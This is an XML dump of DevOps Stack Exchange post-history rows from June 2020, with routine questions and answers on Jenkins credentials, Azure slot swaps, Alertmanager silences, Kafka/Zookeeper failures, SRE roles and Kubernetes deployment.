  <row Id="36484" PostHistoryTypeId="2" PostId="11875" RevisionGUID="8867f326-6e3d-49df-ad68-ad02a3cd2480" CreationDate="2020-06-21T12:42:05.170" UserId="21656" Text="In Jenkins pipeline parameter say `Branches` of type `Active Choice Reactive Parameter`, I've to auto-populate branch names hence I've following command, which I can execute in parameter's Groovy script -&#xD;&#xA;&#xD;&#xA;    svn ls &lt;url&gt; --non-interactive --no-auth-cache --trust-server-cert --username &lt;username&gt;--password &lt;password&gt;&#xD;&#xA;&#xD;&#xA;`username` can be retrieved using `User.current().getId()`&#xD;&#xA;&#xD;&#xA;I've `Password` parameter of `Password Parameter` type. To use value of this parameter in Groovy script of `Branches`, I've added `Password` parameter in `Referenced parameters` of `Branches` &#xD;&#xA;&#xD;&#xA;But I cannot see its value reflected in `Branches` parameter. Can you please suggest how this can be handled?&#xD;&#xA;&#xD;&#xA;Or any other way to pass Password value or authentication details so I can execute svn command." ContentLicense="CC BY-SA 4.0" />
  <row Id="36485" PostHistoryTypeId="1" PostId="11875" RevisionGUID="8867f326-6e3d-49df-ad68-ad02a3cd2480" CreationDate="2020-06-21T12:42:05.170" UserId="21656" Text="Unable to get value of password parameter into another parameter" ContentLicense="CC BY-SA 4.0" />
  <row Id="36486" PostHistoryTypeId="3" PostId="11875" RevisionGUID="8867f326-6e3d-49df-ad68-ad02a3cd2480" CreationDate="2020-06-21T12:42:05.170" UserId="21656" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36487" PostHistoryTypeId="5" PostId="11859" RevisionGUID="7e104dc4-33b2-4e9d-b426-c5c5c0e96551" CreationDate="2020-06-21T19:19:38.413" UserId="7078" Comment="added 107 characters in body" Text="SREs and coding is a contentious topic. In most situations, SREs end up spending a lot of time on operational tasks, even while being efficiency and automation focused. This means that SREs don't spend as much time coding as a full time developer, which puts them in a very disadvantageous position as far as programming rigor is concerned.&#xD;&#xA;&#xD;&#xA;Also, SREs are typically responsible for multiple services or applications, unlike developers who may be more focused on a small number of applications.  Gaining deep knowledge of large codebases can be a daunting task especially if you are focus is diffused.&#xD;&#xA;&#xD;&#xA;To be very good in coding and be able match a developer's level of expertise in programming, SREs need to spend more time coding on a continuous basis, which may not be possible.&#xD;&#xA;&#xD;&#xA;Also, the question arises - if an engineer is a great developer, why would he or she opt for an SRE role?  The pure development roles seem to have a better career path.&#xD;&#xA;&#xD;&#xA;Also, the argument that SREs should spend most of their time coding and not in operations seems a little disconnected from reality. Not all operations is evil and not all code is an angel either. As someone said, &quot;the best code is the one that was never written&quot;. Running operations efficiently and reliably is an important goal for SREs and coding can be helpful in achieving that goal, though it is not the only means to get there.&#xD;&#xA;&#xD;&#xA;So, what is a reasonable expectation for an SRE when it comes to coding?  Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?  Could they be a part of the same team? Is it practical to rotate people between these two roles?&#xD;&#xA;&#xD;&#xA;I hope this question is not dismissed as opinion-based." ContentLicense="CC BY-SA 4.0" />
  <row Id="36488" PostHistoryTypeId="2" PostId="11876" RevisionGUID="5902daf7-45c2-4ec4-b526-ee8f997c57b6" CreationDate="2020-06-21T19:24:34.310" UserId="22526" Text="Could [credentials binding plugin][1] be the answer?&#xD;&#xA;&#xD;&#xA;The idea is to add svn user and password to Jenkins credentials store and then use it in the pipeline.&#xD;&#xA;&#xD;&#xA;    withCredentials([&#xD;&#xA;        usernamePassword(&#xD;&#xA;            credentialsId: 'mySvnLogin',&#xD;&#xA;            usernameVariable: 'USER',&#xD;&#xA;            passwordVariable: 'PASSWORD')]) {&#xD;&#xA;        sh '''&#xD;&#xA;          svn ls &lt;url&gt; --non-interactive --no-auth-cache --trust-server-cert --username $USER &#xD;&#xA;     --password $PASSWORD&#xD;&#xA;        ''''&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36489" PostHistoryTypeId="2" PostId="11877" RevisionGUID="a8cbe4b2-3281-4e54-9dea-677470ddacc0" CreationDate="2020-06-21T21:13:04.173" UserId="22853" Text="My web application in Azure has two deployment slots - staging and production.&#xD;&#xA;&#xD;&#xA;The purpose of the application is to draw a shape. The version currently deployed to the production slot draws a square. The version deployed to the staging slot draws a circle.&#xD;&#xA;&#xD;&#xA;Both versions of the application have an application setting called Colour which controls the colour of the shape. Importantly, this is a deployment slot setting - see the example capture below:&#xD;&#xA;&#xD;&#xA;[![Deployment slot setting][1]][1] &#xD;&#xA;&#xD;&#xA;The value of this setting is blue in the staging slot and green in the production slot.&#xD;&#xA;&#xD;&#xA;When I view the application in the staging slot, a blue circle is drawn. When I view the application in the production slot, a green square is drawn.&#xD;&#xA;&#xD;&#xA;When I perform a slot swap from staging into production and view the application in the production slot, a green circle is drawn.&#xD;&#xA;&#xD;&#xA;I am struggling to get my head around this. A big advantage of swapping deployment slots is that I am able to swap my pre-warmed staging code into the production slot and prevent users from suffering from downtime or cold-start performance issues. However, by swapping the staging application into the production slot which has different values in the deployment slot setting, haven't I made changes to the application configuration which will trigger a restart? If I was to modify web.config manually or update the deployment slot setting in Azure, the application in the slot would restart. How is slot swapping getting around this?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/6b8kp.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36490" PostHistoryTypeId="1" PostId="11877" RevisionGUID="a8cbe4b2-3281-4e54-9dea-677470ddacc0" CreationDate="2020-06-21T21:13:04.173" UserId="22853" Text="Does a slot swap cause an application to restart when using deployment slot settings?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36491" PostHistoryTypeId="3" PostId="11877" RevisionGUID="a8cbe4b2-3281-4e54-9dea-677470ddacc0" CreationDate="2020-06-21T21:13:04.173" UserId="22853" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36492" PostHistoryTypeId="2" PostId="11878" RevisionGUID="611ba03a-2265-4a93-b878-8a17726b178b" CreationDate="2020-06-22T07:32:38.157" UserId="17329" Text="A work scenario that I can't cover currently is that I want to set a maintenance mode, meaning all alerts received from Prometheus to be ignored, I want to be able to set it through the UI for a given period until maintenance finish. One way to do it is manually to start covering each alert which in Prometheus-operator scenario is not sane, or I would lose a couple of hours. I can change config from secret to route all to null, but that is not practical as it requires multiple actions and is not good for on time or other user usage.&#xD;&#xA;So I tried to use regex for alertname key and regex for the value. Both set to .* .* regex. On preview I get all alerts covered, but when I click Create I get &quot;Bad Request&quot;? I couldn't find examples in interned and on official page which surprised me quite a lot.&#xD;&#xA;[![**enter image description here**][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/C4yuz.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36493" PostHistoryTypeId="1" PostId="11878" RevisionGUID="611ba03a-2265-4a93-b878-8a17726b178b" CreationDate="2020-06-22T07:32:38.157" UserId="17329" Text="Prometheus Alertamanger - how to silence all alerts for a given period during a maintenance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36494" PostHistoryTypeId="3" PostId="11878" RevisionGUID="611ba03a-2265-4a93-b878-8a17726b178b" CreationDate="2020-06-22T07:32:38.157" UserId="17329" Text="&lt;prometheus&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36495" PostHistoryTypeId="5" PostId="11878" RevisionGUID="5127c3e6-7969-4ee8-9699-5839d25a9141" CreationDate="2020-06-22T08:02:08.753" UserId="17329" Comment="edited body" Text="A work scenario that I can't cover currently is that I want to set a maintenance mode, meaning all alerts received from Prometheus to be ignored, I want to be able to set it through the UI for a given period until maintenance finish. One way to do it is manually to start covering each alert which in Prometheus-operator scenario is not sane, or I would lose a couple of hours. I can change config from secret to route all to null, but that is not practical as it requires multiple actions and is not good for on time or other user usage.&#xD;&#xA;So I tried to use regex for alertname key and regex for the value. Both set to .* .* regex. On preview I get all alerts covered, but when I click Create I get &quot;Bad Request&quot;? I couldn't find examples in internet and on official page which surprised me quite a lot.&#xD;&#xA;[![**enter image description here**][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/C4yuz.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36496" PostHistoryTypeId="5" PostId="11825" RevisionGUID="3373a8b1-59e4-41eb-b72c-f1f0171b1aa7" CreationDate="2020-06-22T08:08:12.903" UserId="17329" Comment="edited body" Text="We are running confluent helm chart on a lot of clusters, we occasionally get brokers pods failing after some time and no self-heal after is following, the error in the broker usually is the following:&#xD;&#xA;```&#xD;&#xA;[main-SendThread(confluent-{env}-cp-zookeeper-headless:{port})] INFO org.apache.zookeeper.ClientCnxn - Opening socket connection to server confluent-{env}-cp-zookeeper-headless/{ip:port}. Will not attempt to authenticate using SASL (unknown error)&#xD;&#xA;[main] ERROR io.confluent.admin.utils.ClusterStatus - Timed out waiting for connection to Zookeeper server [confluent-{env}-cp-zookeeper-headless:{port}.&#xD;&#xA;```&#xD;&#xA;Is anybody experiencing this and is there any guidance how to automate handling or fix this behavior? The only thing I understand is that Zookeper is not responsive for some reason, but Zookeper pods are up and broker ones are down. In one of Zookeper pods I see the following:&#xD;&#xA;```[2020-06-15 12:07:30,737] ERROR Unexpected exception causing shutdown while sock still open (org.apache.zookeeper.server.quorum.LearnerHandler)&#xD;&#xA;[2020-06-15 13:02:18,902] WARN Connection broken for id 2, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:07,010] WARN Connection broken for id 2, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:07,010] WARN Connection broken for id 1, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:08,244] ERROR Unhandled scenario for peer sid: 3 fall back to use snapshot (org.apache.zookeeper.server.quorum.LearnerHandler)&#xD;&#xA;```&#xD;&#xA;We are on k8s 1.14.3 and running the following version of the confluent chart: cp-helm-charts-0.4.1&#xD;&#xA;&#xD;&#xA;My assumption is after any distruption the connection between both sides is lost and not handled to reconnect?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36497" PostHistoryTypeId="2" PostId="11879" RevisionGUID="c8f1966a-b935-48fb-b8cf-907b96353ed2" CreationDate="2020-06-22T08:22:47.897" UserId="15554" Text="I am trying to find a way to trigger events on creation/removal of specific Azure Resources.&#xD;&#xA;&#xD;&#xA;My goal is to add and/or remove these resources information to an App Gateway.&#xD;&#xA;&#xD;&#xA;Can that even be done? My alternative would be to use a scheduled solution but I would love to avoid that.&#xD;&#xA;&#xD;&#xA;Thanks in advance," ContentLicense="CC BY-SA 4.0" />
  <row Id="36498" PostHistoryTypeId="1" PostId="11879" RevisionGUID="c8f1966a-b935-48fb-b8cf-907b96353ed2" CreationDate="2020-06-22T08:22:47.897" UserId="15554" Text="Azure ARM Triggers" ContentLicense="CC BY-SA 4.0" />
  <row Id="36499" PostHistoryTypeId="3" PostId="11879" RevisionGUID="c8f1966a-b935-48fb-b8cf-907b96353ed2" CreationDate="2020-06-22T08:22:47.897" UserId="15554" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36500" PostHistoryTypeId="5" PostId="11825" RevisionGUID="9023c3cc-2892-4074-a12a-d41a84c95675" CreationDate="2020-06-22T08:29:24.517" UserId="17329" Comment="added 107 characters in body; edited tags" Text="We are running confluent helm chart on a lot of clusters, we occasionally get brokers pods failing after some time and no self-heal after is following, the error in the broker usually is the following:&#xD;&#xA;```&#xD;&#xA;[main-SendThread(confluent-{env}-cp-zookeeper-headless:{port})] INFO org.apache.zookeeper.ClientCnxn - Opening socket connection to server confluent-{env}-cp-zookeeper-headless/{ip:port}. Will not attempt to authenticate using SASL (unknown error)&#xD;&#xA;[main] ERROR io.confluent.admin.utils.ClusterStatus - Timed out waiting for connection to Zookeeper server [confluent-{env}-cp-zookeeper-headless:{port}.&#xD;&#xA;```&#xD;&#xA;Is anybody experiencing this and is there any guidance how to automate handling or fix this behavior? The only thing I understand is that Zookeper is not responsive for some reason, but Zookeper pods are up and broker ones are down. In one of Zookeper pods I see the following:&#xD;&#xA;```[2020-06-15 12:07:30,737] ERROR Unexpected exception causing shutdown while sock still open (org.apache.zookeeper.server.quorum.LearnerHandler)&#xD;&#xA;[2020-06-15 13:02:18,902] WARN Connection broken for id 2, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:07,010] WARN Connection broken for id 2, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:07,010] WARN Connection broken for id 1, my id = 2, error =  (org.apache.zookeeper.server.quorum.QuorumCnxManager)&#xD;&#xA;[2020-06-15 13:03:08,244] ERROR Unhandled scenario for peer sid: 3 fall back to use snapshot (org.apache.zookeeper.server.quorum.LearnerHandler)&#xD;&#xA;```&#xD;&#xA;We are on k8s 1.14.3 and running the following version of the confluent chart: cp-helm-charts-0.4.1&#xD;&#xA;&#xD;&#xA;My assumption is after any distruption the connection between both sides is lost and not handled to reconnect?&#xD;&#xA;&#xD;&#xA;Also there is a github issue on vendor site:&#xD;&#xA;https://github.com/confluentinc/cp-helm-charts/issues/446" ContentLicense="CC BY-SA 4.0" />
  <row Id="36501" PostHistoryTypeId="6" PostId="11825" RevisionGUID="9023c3cc-2892-4074-a12a-d41a84c95675" CreationDate="2020-06-22T08:29:24.517" UserId="17329" Comment="added 107 characters in body; edited tags" Text="&lt;kubernetes&gt;&lt;kafka&gt;&lt;zookeeper&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36502" PostHistoryTypeId="5" PostId="11879" RevisionGUID="02243e89-4759-4138-a6a3-f8f184e12880" CreationDate="2020-06-22T08:30:57.627" UserId="15554" Comment="Improved title" Text="I am trying to find a way to **trigger events on creation/removal of specific Azure Resources**.&#xD;&#xA;&#xD;&#xA;My goal is to add and/or remove these resources information to an App Gateway.&#xD;&#xA;&#xD;&#xA;Can that even be done? My alternative would be to use a scheduled solution but I would love to avoid that.&#xD;&#xA;&#xD;&#xA;Thanks in advance," ContentLicense="CC BY-SA 4.0" />
  <row Id="36503" PostHistoryTypeId="4" PostId="11879" RevisionGUID="02243e89-4759-4138-a6a3-f8f184e12880" CreationDate="2020-06-22T08:30:57.627" UserId="15554" Comment="Improved title" Text="Azure ARM Triggers (e.g. Resource Created, Resource Removed, etc)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36504" PostHistoryTypeId="2" PostId="11880" RevisionGUID="8a714afd-5d62-4a25-b798-68f3ee0c5766" CreationDate="2020-06-22T12:00:28.040" UserId="397" Text="# Short Answer&#xD;&#xA;&#xD;&#xA;It depends on the organisation if you are a dedicated infrastructure specialist without any software development experience, you are unlikely to be writing feature code.  However, if you are a Software Engineer who also knows Terraform, you might be called on to do both on the same day.&#xD;&#xA;&#xD;&#xA;# Long Answer&#xD;&#xA;&#xD;&#xA;DevOps is not strictly a job title; in the most general sense, the &quot;DevOps Mindset&quot; forms part of an [agile or lean operating model][1].  In this kind of model, DevOps is a way of working for everyone that focuses on [the Three Ways][2]:&#xD;&#xA;&#xD;&#xA;1. **Systems Thinking** - understanding the creating value is the product of the system as a whole, not any one part of the system.  When I say systems, I am talking about systems that include humans and technical components, i.e. people writing automation or features in code and the technology that executes that code.&#xD;&#xA;2. **Amplification of Feedback Loops** - creation and tightening of information flowing between the consumer and the parts of the system.&#xD;&#xA;3. **Culture of Continuous Experimentation and Learning** - enabling a data-driven culture that encourages agility and learning through experimentation.&#xD;&#xA;&#xD;&#xA;## Adoption Patterns&#xD;&#xA;&#xD;&#xA;The three ways don't specify how the organisation should be structured; they just provide the foundational principles of DevOps.  Coupled with the fact that most companies don't change quickly, this means there are several DevOps &quot;Adoption Patterns&quot;:&#xD;&#xA;&#xD;&#xA;1. **DevOps Bridge** - where a team of DevOps engineers write the code to automate deployment and operations and often operate that.&#xD;&#xA;2. **DevOps Operations Teams** - where a team writes code to operate the software, but the development team writes the code, infrastructure and deployment automation.&#xD;&#xA;3. **Tools Teams** - where a group of DevOps engineers write tools that developers use.&#xD;&#xA;4. **Embedded DevOps** - where a DevOps engineer is embedded in the team to write infrastructure and deployment automation and built out the operational capability.&#xD;&#xA;5. **Ubiquitous DevOps** - where the group as a whole is accountable for feature development and infrastructure/deployment automation.  They might have a DevOps Engineer or developers might &quot;do DevOps&quot;.&#xD;&#xA;&#xD;&#xA;## Google and Amazon&#xD;&#xA;&#xD;&#xA;There are also two general approaches described by Amazon and Google:&#xD;&#xA;&#xD;&#xA;1. **&quot;You build it, you run it&quot;** - this is a mantra that Werner Vogels, Amazon's CTO, used to describe how Amazon scaled Development and Operations teams. i.e. the group as a whole is responsible for building features, delivering it into Production and operating it while it is there.&#xD;&#xA;2. **Site Reliability Engineering** - this is Google's (and many other organisations) technology operating model that does split Development and Operations, but in such a way that there is shared accountability for the quality and warranty of code.&#xD;&#xA;&#xD;&#xA;## Amazon's &quot;You Build It; You Run It&quot; Model&#xD;&#xA;&#xD;&#xA;Teams within Amazon are accountable for delivering a service, not software or infrastructure.  Therefore they need to have people in the group who are capable of fulfilling every technical role: Software Architects, Back-end Developers, Front-end Engineers, Infrastructure Engineers, Automated Testers, Operations Engineers, and so on.  Some people in those teams can fulfil more than one role; others may be much more specialist.&#xD;&#xA;&#xD;&#xA;Within Amazon's model, it's the team as a whole's responsibility both implement features and write automation (amongst other things) they may:&#xD;&#xA;&#xD;&#xA;1. Choose to hire a Software Engineer to write the code for the features; plus a DevOps Engineer to write the code for the automation, or.&#xD;&#xA;2. Hire two engineers who can both do both roles within the team.&#xD;&#xA;&#xD;&#xA;## Google's Site Reliability Engineering Model&#xD;&#xA;&#xD;&#xA;Google did their own thing for about eight years and came up with Site Reliability Engineering, SRE.  Broadly Google employs Software Engineers (SWEs) and Site Reliability Engineers (SREs), Software Engineers are responsible for building code, automating infrastructure and automated deployment with the promise that if the project is important enough and they have proven they can operate it in Production themselves that Site Reliability Engineers will take over the operation of the project.&#xD;&#xA;&#xD;&#xA;SRE gives Google the best of both worlds; teams are accountable for getting a product live and making sure it's reliable.  Site Reliability Engineers can then take over up to ten live products meaning Google reduce their on-call costs and free up Software Engineers to concentrate on developing new features or products.&#xD;&#xA;&#xD;&#xA;If you refer to Google's Site Reliability Engineering triangle:&#xD;&#xA;&#xD;&#xA;[![Site Reliability Engineering Triangle][3]][3]&#xD;&#xA;&#xD;&#xA; - **Product** - is what you think of as high-level &quot;feature&quot; development, i.e. understanding what the user wants and implementing it.&#xD;&#xA; - **Release Processes** - is what you probably think of as code that improves the flow of features into Production which could be deployment code or infrastructure.&#xD;&#xA; - **Development** - is a bit of all three worlds: code that implements a feature, deployment code or infrastructure as code.&#xD;&#xA;&#xD;&#xA;## My Journey&#xD;&#xA;&#xD;&#xA;My journey to where I am now (heading up Managed Services) was first as a Network Technician and IT Manager, then becoming a .NET Developer, and then a DevOps consultant, finally taking up my current role.  I'm at the point in my career where I can turn my hand to more or less any task.&#xD;&#xA;&#xD;&#xA;When I hire, I look for [T-Shaped individuals][4], i.e. people who are experts in one or two disciplines but are moderately capable in the full range of disciplines we need to be successful.  &#xD;&#xA;&#xD;&#xA;# Summing Up&#xD;&#xA;&#xD;&#xA;When you're just starting, start with the end in mind:&#xD;&#xA;&#xD;&#xA; - If the goal is a team that is cross-functional and capable of building and running a product - then work out what that team needs to do and make sure that there is more than one person that is proficient in each capability.&#xD;&#xA;&#xD;&#xA; - If the goal is to become a DevOps engineer, start with the basics of Infrastructure of Code, Continous Deployment and Operations.  As you learn, teach those in your team how to do those things themselves and ask them how they do their role (this includes QA, Front-end, Backend and Hardware engineers) eventually you become that T-Shaped individual.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mckinsey.com/business-functions/mckinsey-digital/our-insights/an-operating-model-for-company-wide-agile-development#&#xD;&#xA;  [2]: https://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [3]: https://i.stack.imgur.com/hUHkN.png&#xD;&#xA;  [4]: https://medium.com/@jchyip/why-t-shaped-people-e8706198e437" ContentLicense="CC BY-SA 4.0" />
  <row Id="36505" PostHistoryTypeId="33" PostId="11859" RevisionGUID="e1f5cf1a-5f07-40ab-afd7-1c0801e402b3" CreationDate="2020-06-22T14:29:30.020" UserId="7078" Comment="58" />
  <row Id="36509" PostHistoryTypeId="2" PostId="11882" RevisionGUID="ffdf06d5-16b4-4907-b141-537bfaed6953" CreationDate="2020-06-22T18:30:06.203" UserId="22864" Text="Whenever I use search keywords such as &quot;orchestration&quot; or &quot;server clusters&quot; or &quot;iaas&quot; I'll always end up in hundreds of results that are going to talk about containers only. &#xD;&#xA;&#xD;&#xA;My case is to be able to deploy, scale and monitor VM instances such as DO's droplets or AWS' EC2s. Currently I'm using a CD tool that will use Ansible to spawn (using just REST API) and provision newly created machines. Although neither of these two tools will have capability to monitor created instances, check up on their resources usage, scale them on demand or map them with respective HTTP endpoints (assume 1 VM hosts n webservices). So to assist CD+Ansible in their jobs I need custom tools that would: keep track of number of instances, their status, DNS server, integration with ingress loadbalancer (haproxy) to keep track of which servers are up and when, what are the IP addresses and/or networks of the newly created droplets and more.&#xD;&#xA;&#xD;&#xA;I don't quite understand if terraform is even helpful in this case. From what I understood it'll merely help me with spawning a new droplet which I can as well do with single HTTP request. If I want to have more I need to go with paid cloud? &#xD;&#xA;&#xD;&#xA;What would be a helpful stack to aid my case?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36510" PostHistoryTypeId="1" PostId="11882" RevisionGUID="ffdf06d5-16b4-4907-b141-537bfaed6953" CreationDate="2020-06-22T18:30:06.203" UserId="22864" Text="A tool to orchestrate cloud server (virtual machine) instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="36511" PostHistoryTypeId="3" PostId="11882" RevisionGUID="ffdf06d5-16b4-4907-b141-537bfaed6953" CreationDate="2020-06-22T18:30:06.203" UserId="22864" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36512" PostHistoryTypeId="2" PostId="11883" RevisionGUID="8c43058f-99aa-4bdd-8718-05580766d73c" CreationDate="2020-06-22T18:56:36.473" UserId="22762" Text="After building a new container image in a GitHub Actions workflow, I would like to deploy it to a Kubernetes cluster (hosted in AKS) via the [k8s-deploy](https://github.com/Azure/k8s-deploy) action. &#xD;&#xA;&#xD;&#xA;This requires the cluster to be reachable from the IP address of a GitHub-hosted runner. My cluster is not generally supposed to be reachable from the public internet.&#xD;&#xA;&#xD;&#xA;Github has published ranges of [IP addresses of GitHub-hosted runners](https://help.github.com/en/actions/reference/virtual-environments-for-github-hosted-runners#ip-addresses-of-github-hosted-runners); however, right now, these are the ranges of entire Azure regions. Thus, locking down cluster access to those IP ranges is not secure.&#xD;&#xA;&#xD;&#xA;Is there a recommended way to add an additional layer of security which prevents cluster access from IPs inside those IP ranges, but not from a Github-hosted runner?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36513" PostHistoryTypeId="1" PostId="11883" RevisionGUID="8c43058f-99aa-4bdd-8718-05580766d73c" CreationDate="2020-06-22T18:56:36.473" UserId="22762" Text="Lock down Kubernetes cluster to Github-hosted runners (GH Actions)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36514" PostHistoryTypeId="3" PostId="11883" RevisionGUID="8c43058f-99aa-4bdd-8718-05580766d73c" CreationDate="2020-06-22T18:56:36.473" UserId="22762" Text="&lt;kubernetes&gt;&lt;github&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36515" PostHistoryTypeId="2" PostId="11884" RevisionGUID="8d1da104-0f0e-40ae-a2dc-735779f25149" CreationDate="2020-06-22T19:01:08.430" UserId="22762" Text="[List workflow runs](https://developer.github.com/v3/actions/workflow-runs/#list-workflow-runs) would be the equivalent API endpoint in Github Actions:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can use the `status` query parameter e.g. to filter for successful runs:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs?status=success&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36516" PostHistoryTypeId="2" PostId="11885" RevisionGUID="bc9cc750-dd9c-42bf-95d4-9826c39e2bcc" CreationDate="2020-06-22T21:33:18.887" UserId="22743" Text="What about Name = &quot;prometheus&quot;, Value = &quot;.*&quot;. That is something that worked for me. [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;An alternative can be Name = &quot;severity&quot;, Value = &quot;.*&quot; also.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/81ksC.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36518" PostHistoryTypeId="5" PostId="11859" RevisionGUID="def5628f-0b52-4761-a15a-d289e5b7cd64" CreationDate="2020-06-23T03:50:14.150" UserId="7078" Comment="deleted 3 characters in body" Text="SREs and coding is a contentious topic. In most situations, SREs end up spending a lot of time on operational tasks, even while being efficiency and automation focused. This means that SREs don't spend as much time coding as a full time developer, which puts them in a very disadvantageous position as far as programming rigor is concerned.&#xD;&#xA;&#xD;&#xA;Also, SREs are typically responsible for multiple services or applications, unlike developers who may be more focused on a small number of applications.  Gaining deep knowledge of large codebases can be a daunting task especially if your focus is diffused.&#xD;&#xA;&#xD;&#xA;To be very good in coding and be able match a developer's level of expertise in programming, SREs need to spend more time coding on a continuous basis, which may not be possible.&#xD;&#xA;&#xD;&#xA;Also, the question arises - if an engineer is a great developer, why would he or she opt for an SRE role?  The pure development roles seem to have a better career path.&#xD;&#xA;&#xD;&#xA;Also, the argument that SREs should spend most of their time coding and not in operations seems a little disconnected from reality. Not all operations is evil and not all code is an angel either. As someone said, &quot;the best code is the one that was never written&quot;. Running operations efficiently and reliably is an important goal for SREs and coding can be helpful in achieving that goal, though it is not the only means to get there.&#xD;&#xA;&#xD;&#xA;So, what is a reasonable expectation for an SRE when it comes to coding?  Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?  Could they be a part of the same team? Is it practical to rotate people between these two roles?&#xD;&#xA;&#xD;&#xA;I hope this question is not dismissed as opinion-based." ContentLicense="CC BY-SA 4.0" />
  <row Id="36519" PostHistoryTypeId="5" PostId="11878" RevisionGUID="c19f1652-acb6-48a3-82e7-8fe40b92c98a" CreationDate="2020-06-23T07:45:02.083" UserId="17329" Comment="deleted 24 characters in body" Text="A work scenario that I can't cover currently is that I want to set a maintenance mode, meaning all alerts received from Prometheus to be ignored, I want to be able to set it through the UI for a given period until maintenance finish. One way to do it is manually to start covering each alert which in Prometheus-operator scenario is not sane, or I would lose a couple of hours. I can change config from secret to route all to null, but that is not practical as it requires multiple actions and is not good for on time or other user usage.&#xD;&#xA;So I tried to use regex for key and value. Both set to .* .* regex. On preview I get all alerts covered, but when I click Create I get &quot;Bad Request&quot;? I couldn't find examples in internet and on official page which surprised me quite a lot.&#xD;&#xA;[![**enter image description here**][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/C4yuz.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36520" PostHistoryTypeId="2" PostId="11886" RevisionGUID="9fac1bcd-e0bc-48fe-922c-d449cb73f0ac" CreationDate="2020-06-23T08:16:54.513" UserId="22743" Text="Is there a reason why you are trying to monitor it from the outside? Can an autoscaling group with a load balancer be a solution. If yes, then provisioning these resources, having the ability to track &amp; update configuration is something that will be possible using a tool like terraform(multi-cloud support) or cloudformation(cloud-specific). &#xD;&#xA;Ansible might also be an alternative though it brings its fare share of pros &amp; cons being stateless and relying on the actual cloud resources for tracking deviations" ContentLicense="CC BY-SA 4.0" />
  <row Id="36521" PostHistoryTypeId="2" PostId="11887" RevisionGUID="ab5b6107-e357-4bbe-b402-a71fe3dca359" CreationDate="2020-06-23T08:49:22.717" UserId="22743" Text="Not sure why this is required since Kubernetes is declarative and will not do anything is nothing has changed. Nonetheless, you can run it with the `--server-dry-run=true` flag. What attributes are going to be changed in the resource will not be mentioned but it does mention which resource(s) will be changed in the apply. You will need to parse the output message to identify if something changed or not since the exit code is always 1.&#xD;&#xA;Sample outputs:&#xD;&#xA;```&#xD;&#xA;$ kubectl apply --server-dry-run=true -f ./configmap.yaml # First run&#xD;&#xA;secret/my-conf created&#xD;&#xA;$ kubectl apply --server-dry-run=true -f ./configmap.yaml # Re-run without modifications&#xD;&#xA;secret/my-conf unchanged&#xD;&#xA;$ kubectl apply --server-dry-run=true -f ./configmap.yaml # Re-run with modifications&#xD;&#xA;secret/my-conf configured&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
